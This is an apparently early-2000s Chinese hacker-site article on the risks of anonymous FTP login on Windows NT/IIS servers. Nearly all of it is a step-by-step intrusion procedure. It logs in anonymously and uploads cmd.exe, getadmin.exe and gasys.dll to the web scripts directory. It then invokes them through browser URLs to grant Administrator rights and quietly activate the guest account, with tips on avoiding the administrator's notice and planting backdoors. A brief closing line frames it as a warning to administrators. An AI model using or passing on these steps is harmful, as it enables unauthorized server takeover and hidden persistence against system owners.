允许匿名登陆ftp服务器危险性研究

/ns/hk/hacker/data/20020806031615.htm


  
作者:雾中鸟
对于缺乏网络安全意识的网络管理员,在配置windows服务器时往往只是让web服务器能工作起来,并且打了一些常见的补丁,就认为这个服务器是很安全的了。其实也不然,当他没有注重ftp的匿名登陆的危险时,就可能产生严重漏洞。(关于此危险请参考我发表的一篇文章《关于www.apache.org被入侵的联想》)下面我们将以一个实际的例子看看匿名登陆的危险性。
在shell下,我们可以开始我们的ftp登陆:(假设主机为192.168.0.1)
ftp 192.168.0.1
Connected to 192.168.0.1
220 wyztc Microsoft FTP Service (Version 3.0).
User (192.168.0.1none)):anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 输入anonymous或者guest@ 或者guest
下面对此过程作一定的解释(黑体是用户输入部分),首先指定提供匿名登陆的ip地址,然后ftp开始连接指定ip地址,在第三行中,220一般表示连接成功,接下来的wyztc表示此时主机的netbios名称。如果你对WINDOWS NT/2000有一定的了解,就知道此时主机必然存在一个用户名叫做IUSR_MACHINENAME(此时是IUSR_wyztc)的帐户,它就是普通用户浏览此主机上的通用帐户。然后再输入anonymous和密码anonymous就登陆了!
登录后的第一件事情就是用cd跳转目录,这个难度最大,如果能成功进入cig-bin或者scripts目录,你就会有很大的可能得到整个系统的最高权限了。此时加入我们已经很幸运的改变目录成功,即scripts目录,接下来我们就需要上传一些文件到这个目录下(假设下面需要的文件均放在d:\hacker\中):
ftp>mput d:\hacker\cmd.exe
ftp>mput d:\hacker\getadmin.exe
ftp>mput d:\hacker\gasys.dll
显示成功后,我们即可以切换到浏览器中,输入如下形式的命令:http://192.168.0.1/scripts/getadmin.exe?IUSR_wyztc
大约十多秒后屏幕显示:
CGI Error
此时有很大可能就是把IUSR_wyztc帐户添加入Administrators组中,就是说任何访问192.168.0.1的用户都是Administrator,既然通过浏览器访问已经是Administrator 权限了,所以我们就可以利用net user添加新的帐户。为了不让管理员发现,最好将guest帐户激活!
http://192.168.0.1/scripts/cmd”.exe?/c20%c:\winnt\system32\net.exe user guest /active:yes
http://192.168.0.1/scripts/getadmin.exe?guest
这样就成功在主机上添加了一个具有Administrators组权限的guest用户,而且管理员稍不留心也不容易发现,危险性很大。而且一旦有了Administrator权限,就可以放置一些后门,让主机不再安全了。

上面是我对匿名登陆的一些分析,要成功实现上面步骤,需要管理员没有禁止匿名登陆何设置ftproot不恰当。当然这样的管理员已经是不很不称职的了,这只是一个假设,希望能引起网络管理员的注意。如有问题,请跟我联系:japleak@263.net